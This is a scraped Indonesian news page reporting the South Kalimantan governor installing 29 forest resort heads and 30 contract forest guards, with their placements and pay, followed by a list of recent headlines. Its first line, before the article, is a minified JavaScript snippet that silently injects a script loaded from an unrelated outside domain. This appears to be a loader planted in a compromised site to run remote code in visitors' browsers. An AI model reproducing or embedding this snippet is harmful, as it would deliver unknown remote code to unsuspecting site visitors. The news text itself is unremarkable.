(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Dishut Kalsel Tambah 30 Tenaga Kontrak Penjaga Hutan


MARTAPURA, Kepala Resort Pengelolaan Hutan (KRPH) serta pengukuhan Tenaga Kontrak Pengamanan Hutan (TKPH) dilantik Gubernur Kalsel H Sahbirin Noor, Selasa (30/1), di Desa Kiram, Kecamatan Karang Intan, Kabupaten Banjar.

Ada 29 KRPH dan 30 TKPH yang dilantik untuk mengawasi luas kawasan hutan di Kalsel yang mencapai 1,7 juta hektare. Dari luasan 1,7 juta hektare itu baru ada 128 petugas saja.Untuk tahun 2018, Dinas Kehutanan Kalsel menambah tenaga TKPH sehingga lambat laun akan terpenuhi jumlah ideal penjaga hutan yakni sebanyak 300 orang.

Gubernur Kalsel H sahbirin Noor mengatakan, dalam rangka penguatan upaya melestarikan hutan dan alam Kalsel, Pemprov Kalsel merekrut TKPH secara bertahap sampai mencapai angka yang diinginkan.

“Pemerintah daerah secara bertahap merekrut TKPH sampai terpenuhi jumlah ideal penjaga hutan yaitu sebanyak 300 orang,” ujar Paman Birin.

Sementara itru, Kepala Dinas Kehutanan Kalsel Hanif Faisol Nurofiq Shut MP mengatakan, dari 29 Kepala Resort Pengelola Hutan akan dibagi menjadi 8 KPH, dan akan ditempatkan di beberapa titik yaitu Tanjung, Balangan, Hulu Sungai, Kayu Tangi, Kusan, Tanah Laut, Cantung, dan Pulau Laut, begitu juga dengan 30 tenaga kontrak pengamanan hutan.

“Kepala Resort Pengelola Hutan yang dilantik terdiri dari 29 orang dan nantinya akan dibagi menjadi 8 KPH, yang akan ditempatkan di beberapa titik lahan hutan Kalimantan Selatan, begitu juga dengan 30 tenaga kontrak pengamanan hutan,” ungkap Hanif.

Tugas dan kewenangan tenaga kontrak pengamanan hutan sama dengan kewenangan pengamanan hutan lainnya hanya statusnya kontrak.

Foto : hendera

“Sesuai dengan surat tentang ASN mereka mempunyai kewenangan yang sama dengan Polisi Hutan, bisa menangkap, dan bisa memberikan arahan terkait dengan kasus-kasus pengamannan hutan,” kata Kadishut Kalsel. Untuk gaji sesuai dengan Perda, sesuai degan gaji honor sekitar Rp 2.500.000-3.000.000 dan masih ada lagi biaya perjalanan dinas dan lain-lain untuk menunjang kegiatan.

“Dinas Kehutanan Kalsel nantinya akan terus berusaha melakukan penambahan personel secara berangsur dalam setiap tahunnya, sehingga dapat memenuhi kebutuhan tenaga pengamanan kawasan hutan di Kalsel,” pungkasnya. (hendera)

 

Reporter : Hendera
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

30 menit ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

11 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

11 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

12 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

12 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

12 jam ago

This website uses cookies.